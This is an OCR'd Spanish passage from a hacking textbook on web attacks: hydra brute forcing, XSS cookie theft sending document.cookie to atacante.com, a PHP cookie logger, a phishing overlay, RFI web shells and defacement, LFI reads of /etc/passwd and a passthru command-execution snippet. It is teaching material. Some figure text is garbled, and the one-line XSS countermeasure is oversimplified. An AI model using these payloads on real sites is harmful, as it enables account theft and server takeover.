Cuando se realizan tareas de analisis de seguridad, debe seguirse un
proceso meticuloso, detallado y, de continua captura y almacenado de evidencias.
Para realizar todas las pruebas necesarias, siguiendo un orden logico y planificado
es necesario basarse en una metodologia, y a nivel web, puede decirse que OWASP

es el estandar.



136 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

OWASP es un proyecto de codigo abierto, dedicado a determinar y
combatir las causas que hacen que el software web sea inseguro. La comunidad
OWASP esta formada por empresas, organizaciones educativas y particulares de
todo mundo.

La comunidad OSWAP trabaja para crear articulos, metodologias,
documentacion, herramientas y tecnologias que se liberan y pueden ser usadas
gratuitamente por cualquiera.

Los proyectos de documentacion actuales son:

e Guia OWASP. Propociona una guia detallada sobre la seguridad de las
aplicaciones web.

e  OWASP Top 10. Documentacion de alto nivel que se centra sobre las
vulnerabilidades mas criticas de las aplicaciones web.

e Métricas. Un proyecto que permite definir las métricas aplicables a la
seguridad de aplicaciones web.

e Legal Un proyecto para ayudar a los vendedores y compradores de
software a negociar adecuadamente los aspectos de seguridad en sus

contratos.

e Guia de pruebas. Una guia centrada en la prueba efectiva de la
seguridad de aplicaciones web.

e ISO 17799. Documentos de apoyo para organizaciones que realicen
revisiones ISO 17799.

e AppSec FAQ. Preguntas y respuestas frecuentes sobre seguridad de
aplicaciones web.

Las herramientas mas importantes que se han desarrollado son:
o OWASP Web Testing Environment Project
o OWASP WebGoat Project

o OWASP Zed Attack Proxy (ZAP)
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5.3 ATAQUES DE FUERZA BRUTA

Los ataques de fuerza bruta permiten ir comprobando todas las
combinaciones posibles para poder acceder a un recurso. Por ejemplo, para acceder
a una cuenta de usuario se pueden probar todas las combinaciones posibles de
nombre de usuario (/ogin) y contraseiia hasta acceder al sistema.

Las posibles combinaciones de los parametros a utilizar pueden
proporcionarse mediante diccionarios que suelen ser simples ficheros de texto) y su
uso puede ser general, especifico o especialmente creados para tal fin. También es
posible proporcionar valores sistematicos y secuenciales que cubran todas las
combinaciones posibles.

Existen diversas aplicaciones para realizar este tipo de ataque entre las que
destacan: BrutusAE, thc-hydra y Medusa. A continuacion se muestra the-hydra ya
que viene instalada en todas las distribuciones especificas de seguridad y por
soportar un gran namero d eprotocolos.

Tabla 5.2. Protocolos que soporta the-hydra

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,
HTTP-FORM-GET, HTTP-FORM-POST,

HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-
FORM-POST, HTTPS-GET, HTTPS-HEAD,

HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle
Listener, Oracle SID, Oracle,

PC-Anywhere, PCNES, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300,
SAP/R3, SIP, SMB, SMTP, SMTP Enum,

SNMP, SOCKSS5, SSH (vl and v2), Subversion, Teamspeak (TS2), Telnet,
VMware-Auth, VNC and XMPP.

Como puede ver en la figura 5.19, la aplicacion es muy sencilla. En la
pestafia farget se indica el objetivo. Para ello tiene que indicar el nombre o
direccion IP del servidor y el puerto donde se va a realizar el ataque de fuerza
burta. thc-hydra permite trabajar con diferentes sistemas de autenticacion, por
ejemplo a nivel web utiliza normalmente el puerto 80, o a nivel de mysq/ utiliza el
puerto 3306 por defecto, etc.
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Pueden indicarse otra serie de opociones como el nivel de detalle en los
datos de salida, la activacion del modo debug, el uso de cifrado SSL o que muestre
cada intento que realice.

En la pestaila Password se indican los usuarios y contrasefias a utilizar.
Para ello puede indicar un unico usuario o lista de usuarios y un fichero de texto
que se utiliza como dicccionario para probar todas las contrasefias posibles. Dicho
fichero se puede descargar de Internet o generar nosotros automaticamente con
todas las combinaciones o patrones deseados.
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@ Single Target 127.0.0.1
C Target List

Port o =
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ydra 127.0.0.1 ftp -| youmame -p yourpass Z
I

Figura 5.19. HydraGTK - Target
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Colon file
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ydra 127.0.0.1 fip - testuser -P /tmp/passlist.txt - ns /.
L

Figura 5.20. HydraGTK - Passwords
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En la pestafia Start (véase la figura 5.21) pulse el boton Start para iniciar el
ataque de fuerza bruta.
T e - o %
 ouit

Target | Passwords | Tuning | specitic. start |
Gutput

Hydra v, 1 (c) 2004 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.the. org) starting at 2004-05-17 21:58:52

[DATA] 32 tasks, 1 servers, 45380 login tries (11/p:45380), ~1418 tries per task
[DATA) attacking service fip on port 21

[STATUS] 14056.00 tries/min, 14056 tries in 00:01h, 31324 todo in 00:03h
[STATUS] 14513.00 tries/min, 29026 tries in 00:02n, 16354 todo in 00:02h
[21][1tp] host: 127.0.0.1 login: marc password: success

Hydra (http:/www.the. org) finished at 2004-05-17 22:01:38

<finished>

Sia stop

Clear Output

Jrydra 127.0.0.1 fip 4 marc -P Amp/passlist.ixt 2 ns + 32

Figura 5.21. HydraGTK - Start

Esta técnica, por lo general no es recomendable por varios motivos:

e Puede causar mucho estrés en el sistema analizado.

Puede causar bloqueos de cuenta.
e Necesita mucho tiempo.

e Espoco elegante.

Por otro lado, en ciertas ocasiones es util realizar un ataque de fuerza bruta:

e Si he obtenido algun usuario valido, ya que, las tareas de fuerza bruta se
reducen drasticamente.

e Las politicas de contrasefias incorrectas son habituales, es relativamente
sencillo encontrar hoy en dia credenciales débiles o predecibles.

e Cuando no existe otra via mas répida, eficiente y elegante.

5.4 XSS (CROSS SITE SCRIPTING)

XSS significa Cross Site Scripting, no lo abreviaron en CSS para no
confundirlo con las hojas de estilo en cascada. A veces también se le llama HTML
injection pero no es lo correcto, lo correcto es llamarle XSS o Cross Site Scripting.
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Esta vulnerabilidad compromete la seguridad del usuario y no la del
servidor. Consiste en inyectar codigo HTML o Javascript en una web, con el fin de
que el navegador de un usuario ejecute el codigo inyectado al momento de ver la
pagina alterada cuando accede a esta.

Normalmente el XSS se utiliza para causar una accion indebida en el
navegador de un cliente, pero dependiendo de la vulnerabilidad, puede explotar el
fallo para causar una accion indebida en un servidor o en una aplicacion.

Esta limitacion se debe a que el codigo HTML se interpreta en el
navegador de un usuario y no en el servidor. Asi que si alguien inyecta codigo
HTML en alguna aplicaciéon web no podria hacer dafio al servidor, ya que este no
interpreta el codigo HTML, solo los clientes. Por eso este ataque se denomina:
“ataque del lado del cliente”. E1 XSS se puede utilizar para hacer phishing, robo de
credenciales, “troyanizar” navegadores, o simplemente para hacer un “deface”.
Todo depende de la pagina web en concreto que se este atacando.

A continuacion se van a ver los dos tipos de ataques XSS que hay.

5.4.1 XSS permanente

Esta vulnerabilidad es muy potente pero dificil de encontrar y se encuentra
en foros, libros de visita y webs que se modifican por medio de formularios. Con
una vulnerabilidad como esta siempre que alguien entre en la parte del foro donde
se ha inyectado el codigo y este se ejecuta en el navegador del cliente. Esta
vulnerabilidad se utiliza frecuentemente para hacer un “deface” usando una
etiqueta <div> que cubra toda la web o con un script que la redireccione a tu sitio.
Se usa en paginas estaticas. La diferencia de este cross-site-scripting a los
anteriores, es que la inyeccion se hace en una péagina estitica. La informacion
proporcionada por el usuario es almacenada en la base de datos y se mostrara a los
usuarios que visiten la pagina, por eso se dice que la vulnerabilidad “persiste”.

Al encontrar una web vulnerable a XSS, por ejemplo en un foro, es posible
realizar las siguientes acciones:

e Inyectar codigo que robe las cookies de los usuarios que lean el mensaje.
Obteniendo un gran numero de cuentas en el foro.

e Inyectar codigo que redireccione la pagina a una pagina externa,
logrando hacer un deface.

e “Troyanizar” un gran nimero de navegadores de usuarios.
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El poder del tipo persistente, radica en que la inyeccion se quedara siempre
en alguna parte de la web, no estara en una pagina que se genera cada vez que se
pasa informacion al servidor.

5.4.2 XSS no permanente

Este tipo de XSS es muy facil de encontrar en motores de busqueda,
formularios, URL, cookies, programas en Flash o incluso en videos. Esta
vulnerabilidad es mas dificil de utilizar ya que hay que conseguir que alguien entre
en el enlace malicioso. Utilizado en paginas no estaticas.

Este problema de seguridad sucede cuando un servidor genera una pagina
instantanea de resultados de acuerdo a informacion proporcionada por el navegador
(por ejemplo, una busqueda). Si los datos proporcionados por el navegador no son
validados y se incluyen en el codigo fuente de la pagina, hay una vulnerabilidad
XSS.

El XSS no persistente tampoco parece ser un problema de seguridad muy
serio, ya que la inyeccion solo se puede realizar en paginas no estaticas. Pero como
ya he dicho antes, si se sabe aprovechar la vulnerabilidad le puedes dar gran
utilidad. Conjugando esta técnica con un poco de ingenieria social un atacante
puede lograr que un usuario entre a una pagina que contiene codigo inyectado. Ya
que para realizar este tipo de ataques se requiere ingenieria social, muchos
programadores no le dan importancia a este bug, GRAVE ERROR. Cualquier
aplicacion que le permita a un usuario inyectar codigo en la pagina (sea cual sea),
compromete la seguridad tanto del sitio como de sus usuarios. El XSS es una
vulnerabilidad y debe ser tomada como tal, se puede explotar y ser usada para
malos fines. Cualquier programador que quiera tener programacion segura debe
considerar todas las posibilidades de violacion.

El XSS no persistente es una vulnerabilidad no persistente porque la pagina
con la inyeccion no es una pagina que veran todos los usuarios. Tampoco es una
pagina que existe o se mantiene en el servidor (pagina estatica), solo se genera
cuando un usuario proporciona cierta informacion a alguna aplicacion. Se llama
vulnerabilidad reflejada porque para realizar un ataque, el codigo inyectado
primero pasa del navegador al servidor, y luego del servidor a otro navegador;
como si fuera un reflejo.

Tomemos como ejemplo un portal (por ejemplo, www.web
vulnerable.com) que tiene un sistema de autenticacion de usuarios. Ademads, el sitio
web tiene una aplicacion que permite realizar busquedas en la web y que es
vulnerable a inyeccion de codigo:
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http://'www.web_vulnerable.com/resultados.php ?txttexto=

El atacante identifica a su victima. La victima tiene una cuenta en la web
vulnerable: victima@ejemplo.es. Después el atacante forma una URL maligna, en
la que inyecta codigo para guardar la cookie del usuario en su servidor.

http://'www.web_vulnerable.com/resultados.php?txttexto=<script>window
location="http.//atacante.com/xss.php?cookie="+document.cookie</script>

El link es enviado y se convence a la victima de que visite la pagina. La
victima visita la pagina, su navegador envia su cookie al servidor del atacante
permitiéndole acceder en la cuenta de la victima.

5.4.3 Ejemplo

Imagine un buscador de texto dentro de una web en el que puede escribir
un texto y la pagina web responde "Lo que hayas puesto no se ha encontrado,
repita su busqueda", donde pone "lo que hayas puesto" puede insertar etiquetas
html como <hl>Hola</hl> y si es vulnerable el navegador lo interpreta como
parte del codigo HTML vy saldria hola en letras grandes, pero en vez de poner
"<hl>hola</h1>" puede insertar un c6digo que robe las cookies de los clientes y
las almacene en un servidor externo.

Si la web pasa la variable del buscador mediante GET (es lo mas comun)
puede generar una URL maliciosa (por ejemplo, www.web.es?buscar=codigo) y
hacer que alguien la utilice para robar las cookies.

A continuacion puede ver un ejemplo mas detallado:

e Paso 1. Creacion de paginas que contienen vulnerabilidades.

Codigo de la web desde donde se envia el formulario:

Coédigo

<HTML>
<HEAD>
<TITLE>Vulnerabilidad XSS</TITLE>
</HEAD>
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<BODY>
<BR>
<FORM METHOD="get" ACTION="xss.php">

<INPUT TYPE="text" NAME="vuln">
<BR><BR>
<INPUT TYPE="submit" VALUE="enviar">

</FORM>
</BODY>
</HTML>

Ahora el codigo que recibe las variables de este formulario (xss.php):

Codigo

<7php
$var=$ GET["vuln"];
echo "Has escrito: ".$var;

>

En el primer codigo hay que fijarse en la etiqueta <FORM
METHOD="get" ACTION="xss.php"> donde el método GET significa
que envia los datos a través de la URL y el método POST los envia sin

usar la URL, action dice que le envia los datos a "xss.php".

La primera linea de codigo recoge los datos enviados a través de la

variable vuln se guardan en la variable var..

$var = $_GET["vuln"];

Y la segunda muestra en la web el contenido de la variable $var.

echo "Has escrito: ".S$var;




144 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

Este codigo escribe en pantalla "Has escrito:" seguido de la variable
Svar.

Noew pestans +

Mg practcau POC/ASS/ a5 phpar=hols e

Has escrito: Hola

Figura 5.22. Ejemplo de XSS

e Paso 2. Explotar la vulnerabilidad.
Si al inyectar el siguiente codigo aparece una ventana con el mensaje
“hola”, entonces el sitio web es vulnerable a la inyeccion de codigo. En
este caso el codigo es inocuo, pero puede inyectarse cualquier cosa.

{SCRIPT>alert(”666") ; </SCRIPT>

i | Nuevapestara A

Has escrito:

666

[ Aceptar )
Figura 5.23. Ejemplo de XSS — inyectando alert(666);

Como puede verse se ha inyectado el codigo en Javascript
<script>alert(666);</script> que muestra un mensaje por pantalla. En este caso no
es daiiino, pero pueden realizarse muchos tipos de ataques. Hoy dia estos se han
mitigado casi en su totalidad por las mejoras implementadas en los diferentes
navegadores web.
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Hay muchos métodos para inyectar codigo en una aplicaron web, por
ejemplo es muy comun poner programas en flash que contienen scripts o videos.
Otra forma de conseguir inyectar codigo es mediante las cookies. Una cookie no es
mas que un fragmento de texto que contiene informacion. Cuando nos registramos
en alguna web el servidor le envia una cookie al navegador que contiene nuestro
login, el navegador lo guarda en el disco duro y asi poder registrarse en el sistema
automaticamente.

Normalmente las webs no filtran el codigo recibido a través de las cookies
asi que solo hay que modificar la cookie y en vez de nuestro nombre poner el
codigo que queramos que se ejecute.

En algunas webs, sobre todo en los foros y libros de visitas, no se permite
usar la etiqueta <script></script> pero puede hacer el uso de otras etiquetas para
incluir codigo, como la etiqueta <iframe> que permite contener otra web dentro de
ella.

Aparte de los elementos en la URL y los formularios, hay otra forma en la
que los datos también se transfieren: Las cabeceras HTTP. Estas cabeceras son
mensajes con los que se comunican el navegador y el servidor, utilizados para
especificar informacion del cliente/servidor y para enviar informacion.

Las cabeceras envian varios datos al navegador, ;como saber que mensajes
utilizaremos para inyectar codigo?, todo puede variar. Analicemos una aplicacion
vulnerable a inyeccion por medio de cookies.

Cuando entras a alguna pagina web en donde tienes la posibilidad de ver
informacion personalizada, a menudo tienes que dar primero tu nombre de usuario
y contrasefia para poder ver esta informacion. Seguramente has notado como hay
casos en los que al momento de entrar a una pagina web, ya te encuentras iniciado
en tu sesion sin la necesidad de haber proporcionado tus datos a la aplicacion, esto
es por el uso de cookies.

Una cookie es un archivo que contiene varios datos sobre un usuario, como
nombres de usuario, la ultima vez que iniciaste sesion, etc. Las cookies las manda
el servidor al navegador del usuario, y luego el navegador las registra en alguna
parte de la maquina del usuario. Al momento de entrar a una pagina, la aplicacion
busca en el navegador del usuario cookies que la aplicacion le haya dado. En el
caso del inicio de sesién automatico, al momento de proporcionar tu nombre de
usuario y contraseiia a la aplicacion, esta guarda los valores en una cookie
(cifrados, por supuesto) y después el navegador los guarda. Cuando el navegador
vuelve a visitar la pagina, la aplicacion busca cookies que hayan sido guardadas y
encuentra la cookie con el nombre de usuario y contrasefia cifrados. Entonces la
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aplicacion descifra los datos y los procesa. Asi funciona el manejo de cookies, y el
inicio de sesion automatico. Veamos el caso de un fagboard vulnerable. Al
momento de que ti dejas un comentario con tu nick en el tagboard, el tagboard
guarda una cookie en tu navegador con el valor de tu nick. Cuando vuelves a dejar
un comentario ya no es necesario proporcionarle tu nick al tagboard, puesto que la
aplicacion lo extrae desde tu cookie, se almacena en la variable Susuario, y luego la
muestra de la siguiente manera:

echo “<b>Comentario por: <i>$usuario</i></b><br />”

Se puede suponer que es vulnerable, porque la informacion recibida por
medio de la cookie no es filtrada. Si dejamos un comentario en tagboard, y
realizamos un ataque Man in the middle es posible interceptar las cabeceras del
navegador y cambiar el valor de usuario en la cookie, por algo asi:

usuario=<script>alert (‘Vulnerable’) ;</script>;

Cuando la variable $usuario, sea sustituida en el codigo PHP, el codigo
quedard asi:

<b>Comentario por:
<i><script>alert (‘Vulnerable’) ;</script></i></b>

El navegador al interpretar el codigo de la pagina, muestra como resultado
un ataque XSS. De esta manera se inyecta codigo en la pagina de una manera que
va fuera de los formularios y los elementos. Otra manera de inyectar codigo es
utilizando el campo Referer o el campo /P que se envian en las cabeceras de una
peticion. Para conocer la forma de realizar una inyeccion a una aplicacion, debe de
estudiar y analizar la aplicacion para encontrar alguna forma de vulnerarla. Un
programador seguro valida todos los campos de entrada, en los que una inyeccion
de codigo puede ser efectuada.

5.4.4 Ataque Credential Theft

El ataque Credential Theft o Robo de credenciales consiste en “robar” la
autenticacion de un usuario en una pagina, para poder acceder a su cuenta sin la
necesidad de conocer sus datos de acceso (login y contrasefia). Este ataque es
probablemente el mas conocido y mas aplicado hablando de vulnerabilidades XSS.

Las cookies, ademéas de otros usos, se utilizan para almacenar las
credenciales en los servidores que permiten acceder al usuario al servicio si
necesidad de autenticarse cada vez que se conecta. En este caso la cookie es una
credencial. Si puede “robar” la credencial de otro usuario, y cambiar el valor de



© RA-MA CAPITULO 5. HACKING DE SERVIDORES WEB 147

esta por el valor de nuestra credencial, al momento de presentar la credencial ante
la aplicacion accedemos como el otro usuario. Asi es como se logra un robo de
credencial o “falsificacion de sesion”.

El atacante crea una aplicacion que guarda el valor de la cookie en un
fichero. El codigo del programa puede ser asi:

<2
$cookie = $ GET['cookie'];
$fichero = fopen("cookies.txt","a");

fwrite($fichero, "$cookie \n");
fclose($£fichero) ;
2>

El atacante guarda el codigo en http://atacante.com/robo.php. Esta
aplicaciéon recibe una variable cookie por medio de la URL
http://atacante.com/robo.php?cookie=valor de cookie, y luego la guarda en un
archivo. Ahora se inyecta en el parametro vulnerable:

<script>
window.location='http://atacante.com/robo.php?cookie=’+documen
t.cookie;

</script>

La funcion window.location redirecciona el navegador a la URL
especificada. También puede ver que la variable document.cookie se incluye en la
URL por medio del operador +. Este operador afiade el valor de document.cookie a
la. URL, y el navegador redirecciona a la siguiente direccion:
http://atacante.com/robo.php?cookie=cookie del usuario

Después el programa robo.php almacena el valor de la cookie en el archivo
cookies.txt. Mas tarde el atacante puede ver el valor de la cookie de la victima, y
acceder a la cuenta del usuario sin necesidad de saber su contrasefia, remplazando
el valor de la cookie de la victima por el valor de su cookie. Este ataque es solo un
ejemplo y se puede modificar para que sea menos sospechoso.

A continuacién se muestra como realizar el ataque en una pagina no
estatica. En el ejemplo estudiado anteriormente de la web donde la aplicacion de
busqueda es vulnerable a XSS. Si la variable text es vulnerable a inyeccion, puede
formar la siguiente URL maligna:

http://www.vulnerable.es/buscar.php?text=<script>window.locati
on="http://atacante.com/robo.php?cookie=’+document.cookie;</sc
ripts
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Si envia la URL a una victima que tenga una cuenta en la pagina, y pulsa el
enlace, cuando entra a la pagina el codigo se incrusta en la pagina se ejecuta
haciendo que la pagina redireccione al navegador al programa del atacante
enviando el valor de su cookie. Se puede codificar la URL para que sea menos
obvia quedando de la siguiente forma:

http%3a//
www.vulnerable.es/buscar.php%3Ftxttexto%3D%3Cscript%3E
window.location%3D%u2019http%3A//atacante.com/robo.php%3Fcooki
e%3D%u2019+document.cookie%3B%3C/script%3E

Este ha sido uno de los ataques mas empleados, pero hoy dia es complejo
dado que los propios navegadores implementan funciones de seguridad para
evitarlos.

5.4.5 Ataque phishing

El ataque phishing consiste en crear un copia de una pagina, y hacerle creer
a la victima que navega en la pagina original cuando en realidad estd navegando en
la pagina falsa. Una vez que el usuario se encuentra en esa pagina, se le pide
informacion de su cuenta, como nombres de usuario y contrasefias. Toda esta
informacion se almacena para que pueda utilizar el atacante. El ataque trabaja
basicamente de la siguiente forma: el atacante encuentra un bug de XSS en una
pagina (sea estatica o no estatica) e inyecta el codigo que redirecciona el navegador
hacia otra pagina, exactamente igual a la original. Luego el atacante envia un
enlace a la victima con la inyeccion, y cuando su navegador se redirecciona la
victima piensa que se encuentra navegando en la pagina original de forma segura.
La inyeccion se puede lograr de varias maneras. Una forma es redireccionar el
navegador con la funcion window.location hacia otro sitio:

<script>window.location="http://sitio-falso.com/’;</script>

Otro método seria crear una capa de un tamaiio grande, de modo que cubra
el contenido original de la pagina:

<div id=layerl style="position:absolute; top:0; left:0;
width:1000; height:900; zindex:

1; background-color:#000000;"><center><hl>LOGIN
PAGE</hl><BR><form
action="http://servidor-atacante.com/login.php”
method="post>Contrasefia:<input

type="password”><input type="submit”></form><center></div>
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La etiqueta div crea una capa que cubre toda la pagina, y esta capa contiene
el contenido falso que pide la contraseiia del usuario y lo envia hacia nuestro
servidor. La forma de hacer que la victima vea la pagina falsa puede variar mucho,
también se puede llamar a una pagina por medio de un fiame. Para hacer el clon de
la pagina no se requiere mucho esfuerzo, basta on copiar todo el codigo fuente de
la pagina original y modificarlo un poco para que se vean todas las imagenes y, por
supuesto, para que todos los datos que envia la pagina sean enviados al servidor del
atacante en vez del servidor original. Luego en el servidor de la pagina el atacante
aloja un programa que almacena todos los datos recibidos.

5.4.6 Contramedidas

Para evitar los ataques XSS lo mejor es filtrar cualquier codigo HTML o
script. Para ello bastara con eliminar los caracteres “<”y “>”

5.5 REMOTE FILE INCLUSION (RFI) Y LOCAL FILE
INCLUSION (LFI)

El objetivo de estas dos técnicas es hacer que el servidor ejecute codigo
malicioso. Por ejemplo, en este tipo de ataques se suele utilizar mucho para que el
servidor ejecute un shellweb para obtener control total sobre el sistema. En la
figura 5.24 puede ver un ejemplo de shellweb.

..........
Eie Edt View bistory Bookmarks Tools Hslp

i |[552

Figura 5.24. Ejemplo de un shellweb



150 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

La diferencia entre ambas técnicas es que LFI consiste en subir el codigo
malicioso en el propio servidor a través de foros, web de subida de ficheros, etc. Y
REFTI consiste en subir el fichero en otro servidor remoto pero hacer que la victima
sea la que ejecuta dicho codigo.

A continuacion se muestran ambos ataques y las posibilidades que ofrecen.

5.5.1 Remote File Inclusion (RFI)

La vulnerabilidad RFI (Remote File Inclusion) consiste en incluir archivos
remotos en documentos hechos en php. La funcion include(); de php permite
incluir archivos dentro del mismo documento como si fuesen parte del texto. Esta
vulnerabilidad no afecta solamente a la pagina web sino a todo el servidor ya que
permite modificar archivos del mismo.

En el caso de que en el fichero de configuracion php.ini la variable
allow url _include este a On (a partir de PHP 5 ya viene deshabilitada por defecto)
y se puede aprovechar este tipo de inclusiones para inyectar una shell directamente.

En caso contrario el servidor web muestra el siguiente mensaje:

Warning: include() [function.include]: URL file-access is
disabled in the server configuration in
JSvar,/www,/POC/RFI/Index. php on line 37

La funcion se puede utilizar de dos formas:

e include("web.html"). La pagina no es vulnerable porque no permite
cambiar el archivo a incluir.

e include($variable). Esta es la forma vulnerable, ya que permite
modificar la variable mediante la URL.

Codigo de ejemplo vulnerable:

<?php
$variable=$ GET[‘url’];
include ($variable) ;

?>

La variable al no estar filtrada permite incluir cualquier URL en nuestra
pagina. Incluso una maliciosa.
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La estructura tipica de las Web vulnerables a este tipo de ataque contiene
URL de la siguiente forma: http://www.web_vulnerable.com/index.php?url=......

Se suele encontrar en webs que usan esta funcion en los enlaces. Por
ejemplo imagine una web que muestra la publicidad en la parte donde muestra el
contenido principal y un menu. En el menu hay enlaces para moverse por el
interior de la web, pero estos enlaces no llevan a otra web lo que hacen es que
cambian el valor de la variable de "include($var);". Entonces puede modificar ese
valor para incluir dentro un documento con el codigo deseado.

5.5.1.1 EXPLOTACION

Una vez localizada una web vulnerable hay que disponer de un servidor
web donde incluir el codigo que desea ejecutar.

Al final dispone de una direccion con la siguiente estructura:

http://'www.web_vulnerable.com/index.php?url=http.///web_atacante.es/co
digo.txt

Como puede ver en el codigo se ha incluido un archivo de texto porque si
se incluye un archivo php se ejecuta en el servidor (algo no deseado) y no en el de
la web vulnerable, el archivo puede contener por ejemplo:

<?php
echo "<hl>Vulnerable a RFI Hackers-ataque-y-defensa
Test</hl>";

2=
-Eiemplo de R
Archivo Editar Ver Historial Marcadores Hermramientas Ayuda
@ = C o http://practicas-canalseguro.es/POC/RFl/index.php?contenidos=http:///web_atacante.es/code.bt
£, Mas visitados |_| Comenzar a usar Firefox = Ultimes noticias
# Acunetix Web Scanner | b Start Scan - M Abort Sca Settings | ) Advanced - | Scanner status: Idle.

| -Ejemplo de RFI Canal Seguro

Figura 5.25. Ataque RFI
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Dependiendo del codigo que se utiliza para subir en el servidor se realiza
uno de los siguientes ataques:

e Deface. Permite hacer un deface a la pagina web.
e Obtener ficheros del sistema o de los usuarios.

e Shell web. Es una pagina web que permite tener un shell para ver o
modificar los ficheros del sistema.

A continuacion se muestra un ejemplo sencillo de deface y de utilizacion
de una shellweb.

5.5.1.2 REALIZANDO UN SENCILLO DEFACE

(Como modificar los archivos de la web? Para modificar un fichero solo
hay que crear un script que cambie el contenido de la pagina principal (p.ej.
index.html), subirlo a un servidor web e incluirlo dentro de la web vulnerable. A
continuacion puede ver un ejemplo del codigo que modifica el fichero index.php y
que se guardara en el servidor con el nombre deface.txt.

<?php
$a = fopen("index.php","w");
$b = "<center><hl>Vulnerable a RFI.. HACKERS-ATAQUE-Y-
DEFENSA DEFACE TEST</hl></center>";

fwite($a, $b);
2>

Y para incluirlo solamente hay que ejecutar el script:

http://'www.web_vulnerable.com/index.php ?url=http.:///web_atacante.es/
deface.txt

5.5.1.3 OBTENIENDO UN SHELL

Una shellweb como su nombre indica es una pagina web, programada en
PHP o ASP, que permite obtener un shell (terminal) para poder acceder al sistema.
Existen muchos tipos de shellweb pero las funcionalidades mas importantes que

tienen son:

e Examinar el sistema de ficheros. Permite ver, modificar y borrar
ficheros.

e Ejecucion de comandos.
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e Gestion de procesos del sistema.

e Acceso a base de datos.

Nota
5]
-~ El shellweb se ejecuta con los permisos del usuario web (normalmente
httpd o apache). Por lo tanto, el shell permite el acceso a los ficheros a
los que puede acceder dicho usuario.

En el siguiente ejemplo se utiliza la shell FaTalLisTiCz Fx Fx29SheLL
v2.0.09.08 y el ataque se realiza de la siguiente forma:

Primero hay que subir a un servidor externo nuestra shell. Es importante
recordar que no hay que subirla con extension php, sino con extension #xt, gif o
cualquier otra extension para que no se ejecute en el servidor.

A continuacion, se aprovecha la vulnerabilidad RFI para hacer que el
servidor vulnerable ejecute la shellweb:

http://'www.web_vulnerable.com/index.php?contenidos=http.//web-
atacante.es/shell.txt

Y puede acceder al shellweb que se muestra en las figuras 5.27 y 5.28.

€ it it com s b et andora ekt ex e 12 N~ (] Plaod@n ve «- =

Figura 5.26. RFI - shellweb



154 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

€ 31003 . AL Fo@h tE ¢ - =

Figura 5.27. RFI - shellweb

La shellweb permite muchas funcionalidades para controlar el servidor,
bases de datos y sus archivos. A modo de ejemplo se va a realizar un sencillo
deface:

e Seleccione la pagina principal del sitio (normalmente index.php) y pulse
el boton Edit para poder modficar la web (véase la figura 5.28).

Figura 5.28. RFI
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e Escriba:

<H1>WEB VULNERABLE A RFI </H1>

e Guarde el fichero y el resultado sera el siguiente:

Nueva pestaiia +

http://127.0.0.1/POC/RFI/index.php?contenidos=index.html

Figura 5.29. RFI

5.5.2 Local File Inclusion (LFT)

Como su nombre indica, el ataque LFI consiste en subir ficheros en el
propio sistema.

El ataque se realiza leyendo ficheros del sistema, aprovechando fallos de
programacion que realizan llamadas a otros ficheros mediante los comandos
require, require_once, include e include once. Estas llamadas deben realizarse a
variable no esté filtrada o inicializada. A continuacion se muestran varios ejemplos:

require ($file) ;

require (”includes/” .$file) ;

require (”languages/” .$lang.” .php”) ;
require (”themes/” .$tema.” /config.php”) ;

También se puede realizar el ataque si es posible subir algun fichero en el
servidor permitiendo su ejecucion.

Los errores LFI (Local File Include) son tipicos de las aplicaciones web
alojadas en servidores que pueden estar desactualizados o con problemas de
configuracion, en la cudl el atacante puede obtener informacion valiosa a través de
la visualizacién de los archivos, explotando los formularios internos o URL
obteniendo muchas veces la lectura de archivos importantes del sistema (por
ejemplo, el archivo /etc/passwd).
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A continuacion se muestra un codigo fuente vulnerable al ataque LFI.

=2
$variable=$ GET[‘contenidos];

if (file exists($variable){
include ($variable) ;

2>
5.5.2.1 DETECCION DE LA VULNERABILDIAD

Para detectar la vulnerabilidad, en los archivos php en los que se
introduzca alguna ruta (p-€j. www.web_vulnerable.com/index.php?
contenidos=imagen.jpg), puede modificar el valor de la variable por el siguiente.

http://www.web vulnerable.com/index.php?contenidos=../apache2/
access.log

Si la ruta es correcta y la pagina es vulnerable puede ver el contenido del
archivo access.log, sino dard un error como el siguiente:

El archivo no existe ../var/log/apache2/access.log

Para acceder a la ruta correcta, se va incrementando los ../ para ir escalando
en el directorio, hasta localizar el archivo y poder leerlo. Obviamente el usuario
debe tener los permisos suficientes para ello. Asi que para explotar este fallo
necesita que los permisos de los directorios y archivos nos permitan aaceder y leer
el archivo.

http://www.web vulnerable.com/index.php?contenidos=../../../..
/var/log/apache2/access.log

nfindex. phoTcontenios: 1..Jvat Pogfapache2]access b N g 5] Py@ & B # -

n

Figura 5.30. LFI - mostrando un fichero
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En la tabla 5.2, se muestran algunos ejemplos de tipo de llamada de
ataques LFI y formas de explotar la vulnerabilidad.

Tabla 5.3. Ejemplos

Tipo de llamada Forma de explotarlo
require($file); http://host/?file=/etc/passwd
require(”'includes/”. $file); http://host/?file=../../../../../etc/passwd
require(”'themes/” . $theme.”/config.php”’) http://host/?file=../../../../../etc/passwd
£ %00
require(”languages/”.8 COOKIE['lang'] javascript:document.cookie =
php”); “lan=../../../../../etc/passwd%00";

5.5.2.2 EJECUCION DE COMANDOS

Ante este tipo de fallos es posible editar cualquier archivo del sistema al
que el usuario web tenga acceso de lectura, pero tambien es posible llegar a
ejecutar comandos en el sistema. Para ello se utiliza la funcion passtrh. La funcion
passthru() es similar a la funcion exec() en que ejecuta una orden (commando) .

Para ejecutar comandos es necesario escribir en algun fichero del servidor
el siguiente codigo:

<? passthru(\$_GET[cmd]) 2>

Donde cmd es el nombre de la variable que se utiliza para enviar datos
mediante el uso de GET.

A continuacion se van a ver posibles métodos para realizar la ejecucion de
comandos.

Inyeccion PHP en logs de apache

Para poder realizar cada ataque una fase previa que hay que realizar es
determinar las caracteristicas del servidor tal y como se ha visto en el Capitulo 2.
